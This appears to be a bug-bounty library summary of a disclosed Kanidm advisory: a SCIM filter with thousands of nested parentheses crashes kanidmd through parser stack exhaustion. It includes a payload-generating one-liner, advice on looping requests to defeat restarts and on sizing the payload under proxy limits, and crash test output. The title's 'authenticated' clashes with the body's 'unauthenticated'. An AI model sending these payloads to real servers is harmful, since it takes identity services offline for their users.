# scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion

Unauthenticated SCIM filter with thousands of nested parentheses overflows the recursive PEG parser's stack, aborting the entire kanidmd process.

- Payout: Research
- Severity: high
- Program: Kanidm
- Found by: mbarbero, yaleman
- Disclosed: 2026-05-06
- CVE: CVE-2026-46689
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r5fr-9gmv-jggh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r5fr-9gmv-jggh
- Tags: area:web domain:oss domain:web impact:dos impact:mass-exploit kind:research platform:ghsa sev:high tech:rust technique:source-review vuln:dos

**Target:** SCIM filter query parameter on /scim/v1/* endpoints (axum Query extractor, peg recursive-descent parser)
**Root cause:** The peg SCIM filter grammar recurses on `(` and `not (` with no depth bound, and ScimFilter::from_str parses raw attacker input during query deserialization before any handler or ACL check.
**Steps:**
1. Send unauthenticated `GET /scim/v1/Application?filter=` with ~3000 nested parens: `python3 -c 'print("("*3000+"a+pr"+")"*3000)'`
2. Axum's `Query<ScimEntryGetQuery>` extractor deserializes `filter` via `DisplayFromStr`, invoking `ScimFilter::from_str`
3. PEG parser recurses per paren until worker thread stack guard page is hit
4. libstd guard-page handler calls `std::process::abort()`; kanidmd exits (SIGABRT)
**How found:** Code review of the SCIM filter grammar and axum extractor ordering: noticed the semantic depth limit (DEFAULT_LIMIT_FILTER_DEPTH_MAX=12) is applied in Filter::from_scim_ro only after the PEG parse already built the AST, so it cannot protect the parser; then measured release-build thresholds with a test harness.
**Exploitation:** Single ~4-12 KB unauthenticated GET per crash; a loop of curls holds the service down across supervisor restarts. The 6011-byte depth=3000 variant fits under nginx's 8 KB large_client_header_buffers default.
**Escalation:** Repeatable crash loop defeats supervisor restarts; payload sized under default reverse-proxy header limits to bypass mitigation.
**Insight:** Semantic depth limits applied after parsing don't protect the parser itself — check whether recursive-descent grammars bound recursion, and whether extractor-time deserialization runs before auth checks.

## Proof of concept (copied exactly from the original report)

**Release-build stack overflow test run**

```
$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture
parens depth=1500 len=3004
  -> survived
parens depth=2000 len=4004

thread 'audit_scim_filter_nested_parens' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)
```

**In-process testkit unauthenticated GET DoS**

```
Testkit server setup complete - http://localhost:18080/
audit_scim_dos: sending unauthenticated GET, url len = 12056

thread '...' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)
```

